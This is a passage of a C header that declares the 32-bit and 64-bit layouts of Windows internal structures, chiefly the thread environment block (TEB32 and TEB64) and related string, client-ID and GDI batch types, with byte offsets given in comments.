ULONG Buffer;
} STRING32;
typedef struct _STRING64 {
USHORT Length;
USHORT MaximumLength;
ULONGLONG Buffer;
} STRING64;
// 0x8 bytes (sizeof)
struct _CLIENT_ID32 {
ULONG UniqueProcess; // 0x0
ULONG UniqueThread; // 0x4
};
// 0x10 bytes (sizeof)
struct _CLIENT_ID64 {
ULONGLONG UniqueProcess; // 0x0
ULONGLONG UniqueThread; // 0x8
};
// 0x4e0 bytes (sizeof)
struct _GDI_TEB_BATCH32 {
ULONG Offset; // 0x0
ULONG HDC; // 0x4
ULONG Buffer[310]; // 0x8
};
// 0x4e8 bytes (sizeof)
struct _GDI_TEB_BATCH64 {
ULONG Offset; // 0x0
ULONGLONG HDC; // 0x8
ULONG Buffer[310]; // 0x10
};
// 0xfe4 bytes (sizeof)
typedef struct _TEB32 {
struct _NT_TIB32 NtTib; // 0x0
ULONG EnvironmentPointer; // 0x1c
struct _CLIENT_ID32 ClientId; // 0x20
ULONG ActiveRpcHandle; // 0x28
ULONG ThreadLocalStoragePointer; // 0x2c
ULONG ProcessEnvironmentBlock; // 0x30
ULONG LastErrorValue; // 0x34
ULONG CountOfOwnedCriticalSections; // 0x38
ULONG CsrClientThread; // 0x3c
ULONG Win32ThreadInfo; // 0x40
ULONG User32Reserved[26]; // 0x44
ULONG UserReserved[5]; // 0xac
ULONG WOW32Reserved; // 0xc0
ULONG CurrentLocale; // 0xc4
ULONG FpSoftwareStatusRegister; // 0xc8
ULONG SystemReserved1[54]; // 0xcc
LONG ExceptionCode; // 0x1a4
ULONG ActivationContextStackPointer; // 0x1a8
UCHAR SpareBytes[36]; // 0x1ac
ULONG TxFsContext; // 0x1d0
struct _GDI_TEB_BATCH32 GdiTebBatch; // 0x1d4
struct _CLIENT_ID32 RealClientId; // 0x6b4
ULONG GdiCachedProcessHandle; // 0x6bc
ULONG GdiClientPID; // 0x6c0
ULONG GdiClientTID; // 0x6c4
ULONG GdiThreadLocalInfo; // 0x6c8
ULONG Win32ClientInfo[62]; // 0x6cc
ULONG glDispatchTable[233]; // 0x7c4
ULONG glReserved1[29]; // 0xb68
ULONG glReserved2; // 0xbdc
ULONG glSectionInfo; // 0xbe0
ULONG glSection; // 0xbe4
ULONG glTable; // 0xbe8
ULONG glCurrentRC; // 0xbec
ULONG glContext; // 0xbf0
ULONG LastStatusValue; // 0xbf4
struct _STRING32 StaticUnicodeString; // 0xbf8
WCHAR StaticUnicodeBuffer[261]; // 0xc00
ULONG DeallocationStack; // 0xe0c
ULONG TlsSlots[64]; // 0xe10
struct LIST_ENTRY32 TlsLinks; // 0xf10
ULONG Vdm; // 0xf18
ULONG ReservedForNtRpc; // 0xf1c
ULONG DbgSsReserved[2]; // 0xf20
ULONG HardErrorMode; // 0xf28
ULONG Instrumentation[9]; // 0xf2c
struct _GUID ActivityId; // 0xf50
ULONG SubProcessTag; // 0xf60
ULONG EtwLocalData; // 0xf64
ULONG EtwTraceData; // 0xf68
ULONG WinSockData; // 0xf6c
ULONG GdiBatchCount; // 0xf70
union {
struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0xf74
ULONG IdealProcessorValue; // 0xf74
struct {
UCHAR ReservedPad0; // 0xf74
UCHAR ReservedPad1; // 0xf75
UCHAR ReservedPad2; // 0xf76
UCHAR IdealProcessor; // 0xf77
};
};
ULONG GuaranteedStackBytes; // 0xf78
ULONG ReservedForPerf; // 0xf7c
ULONG ReservedForOle; // 0xf80
ULONG WaitingOnLoaderLock; // 0xf84
ULONG SavedPriorityState; // 0xf88
ULONG SoftPatchPtr1; // 0xf8c
ULONG ThreadPoolData; // 0xf90
ULONG TlsExpansionSlots; // 0xf94
ULONG MuiGeneration; // 0xf98
ULONG IsImpersonating; // 0xf9c
ULONG NlsCache; // 0xfa0
ULONG pShimData; // 0xfa4
ULONG HeapVirtualAffinity; // 0xfa8
ULONG CurrentTransactionHandle; // 0xfac
ULONG ActiveFrame; // 0xfb0
ULONG FlsData; // 0xfb4
ULONG PreferredLanguages; // 0xfb8
ULONG UserPrefLanguages; // 0xfbc
ULONG MergedPrefLanguages; // 0xfc0
ULONG MuiImpersonation; // 0xfc4
union {
volatile USHORT CrossTebFlags; // 0xfc8
USHORT SpareCrossTebBits : 16; // 0xfc8
};
union {
USHORT SameTebFlags; // 0xfca
struct {
USHORT SafeThunkCall : 1; // 0xfca
USHORT InDebugPrint : 1; // 0xfca
USHORT HasFiberData : 1; // 0xfca
USHORT SkipThreadAttach : 1; // 0xfca
USHORT WerInShipAssertCode : 1; // 0xfca
USHORT RanProcessInit : 1; // 0xfca
USHORT ClonedThread : 1; // 0xfca
USHORT SuppressDebugMsg : 1; // 0xfca
USHORT DisableUserStackWalk : 1; // 0xfca
USHORT RtlExceptionAttached : 1; // 0xfca
USHORT InitialThread : 1; // 0xfca
USHORT SpareSameTebBits : 5; // 0xfca
}SameTebFlagStruct;
};
ULONG TxnScopeEnterCallback; // 0xfcc
ULONG TxnScopeExitCallback; // 0xfd0
ULONG TxnScopeContext; // 0xfd4
ULONG LockCount; // 0xfd8
ULONG SpareUlong0; // 0xfdc
ULONG ResourceRetValue; // 0xfe0
}TEB32;
// 0x1818 bytes (sizeof)
typedef struct _TEB64 {
struct _NT_TIB64 NtTib; // 0x0
ULONGLONG EnvironmentPointer; // 0x38
struct _CLIENT_ID64 ClientId; // 0x40
ULONGLONG ActiveRpcHandle; // 0x50
ULONGLONG ThreadLocalStoragePointer; // 0x58
ULONGLONG ProcessEnvironmentBlock; // 0x60
ULONG LastErrorValue; // 0x68
ULONG CountOfOwnedCriticalSections; // 0x6c
ULONGLONG CsrClientThread; // 0x70
ULONGLONG Win32ThreadInfo; // 0x78
ULONG User32Reserved[26]; // 0x80
ULONG UserReserved[5]; // 0xe8
ULONGLONG WOW32Reserved; // 0x100
ULONG CurrentLocale; // 0x108
ULONG FpSoftwareStatusRegister; // 0x10c
ULONGLONG SystemReserved1[54]; // 0x110
LONG ExceptionCode; // 0x2c0
ULONGLONG ActivationContextStackPointer; // 0x2c8
UCHAR SpareBytes[24]; // 0x2d0
ULONG TxFsContext; // 0x2e8
struct _GDI_TEB_BATCH64 GdiTebBatch; // 0x2f0
struct _CLIENT_ID64 RealClientId; // 0x7d8
ULONGLONG GdiCachedProcessHandle; // 0x7e8
ULONG GdiClientPID; // 0x7f0
ULONG GdiClientTID; // 0x7f4
ULONGLONG GdiThreadLocalInfo; // 0x7f8
ULONGLONG Win32ClientInfo[62]; // 0x800
ULONGLONG glDispatchTable[233]; // 0x9f0
ULONGLONG glReserved1[29]; // 0x1138
ULONGLONG glReserved2; // 0x1220
ULONGLONG glSectionInfo; // 0x1228
ULONGLONG glSection; // 0x1230
ULONGLONG glTable; // 0x1238
ULONGLONG glCurrentRC; // 0x1240
ULONGLONG glContext; // 0x1248
ULONG LastStatusValue; // 0x1250
struct _STRING64 StaticUnicodeString; // 0x1258
WCHAR StaticUnicodeBuffer[261]; // 0x1268
ULONGLONG DeallocationStack; // 0x1478
ULONGLONG TlsSlots[64]; // 0x1480
struct LIST_ENTRY64 TlsLinks; // 0x1680
ULONGLONG Vdm; // 0x1690
ULONGLONG ReservedForNtRpc; // 0x1698
ULONGLONG DbgSsReserved[2]; // 0x16a0
ULONG HardErrorMode; // 0x16b0
ULONGLONG Instrumentation[11]; // 0x16b8
struct _GUID ActivityId; // 0x1710
ULONGLONG SubProcessTag; // 0x1720
ULONGLONG EtwLocalData; // 0x1728
ULONGLONG EtwTraceData; // 0x1730
ULONGLONG WinSockData; // 0x1738
ULONG GdiBatchCount; // 0x1740
union {
struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0x1744
ULONG IdealProcessorValue; // 0x1744
struct {
UCHAR ReservedPad0; // 0x1744
UCHAR ReservedPad1; // 0x1745
UCHAR ReservedPad2; // 0x1746
UCHAR IdealProcessor; // 0x1747
};
};
ULONG GuaranteedStackBytes; // 0x1748
ULONGLONG ReservedForPerf; // 0x1750
ULONGLONG ReservedForOle; // 0x1758
ULONG WaitingOnLoaderLock; // 0x1760
ULONGLONG SavedPriorityState; // 0x1768
ULONGLONG SoftPatchPtr1; // 0x1770
ULONGLONG ThreadPoolData; // 0x1778
ULONGLONG TlsExpansionSlots; // 0x1780
ULONGLONG DeallocationBStore; // 0x1788
ULONGLONG BStoreLimit; // 0x1790
ULONG MuiGeneration; // 0x1798
ULONG IsImpersonating; // 0x179c
ULONGLONG NlsCache; // 0x17a0
ULONGLONG pShimData; // 0x17a8
ULONG HeapVirtualAffinity; // 0x17b0
ULONGLONG CurrentTransactionHandle; // 0x17b8
ULONGLONG ActiveFrame; // 0x17c0
ULONGLONG FlsData; // 0x17c8
ULONGLONG PreferredLanguages; // 0x17d0
ULONGLONG UserPrefLanguages; // 0x17d8
ULONGLONG MergedPrefLanguages; // 0x17e0
ULONG MuiImpersonation; // 0x17e8
union {
volatile USHORT CrossTebFlags; // 0x17ec
USHORT SpareCrossTebBits : 16; // 0x17ec
};
union {
USHORT SameTebFlags; // 0x17ee
struct {
USHORT SafeThunkCall : 1; // 0x17ee
USHORT InDebugPrint : 1; // 0x17ee
USHORT HasFiberData : 1; // 0x17ee
USHORT SkipThreadAttach : 1; // 0x17ee
USHORT WerInShipAssertCode : 1; // 0x17ee
USHORT RanProcessInit : 1; // 0x17ee
USHORT ClonedThread : 1; // 0x17ee
USHORT SuppressDebugMsg : 1; // 0x17ee
USHORT DisableUserStackWalk : 1; // 0x17ee
USHORT RtlExceptionAttached : 1; // 0x17ee
USHORT InitialThread : 1; // 0x17ee
USHORT SpareSameTebBits : 5; // 0x17ee
}SameTebFlagStruct;
};
ULONGLONG TxnScopeEnterCallback; // 0x17f0
ULONGLONG TxnScopeExitCallback; // 0x17f8
ULONGLONG TxnScopeContext; // 0x1800
ULONG LockCount; // 0x1808
ULONG SpareUlong0; // 0x180c
ULONGLONG ResourceRetValue; // 0x1810
}TEB64;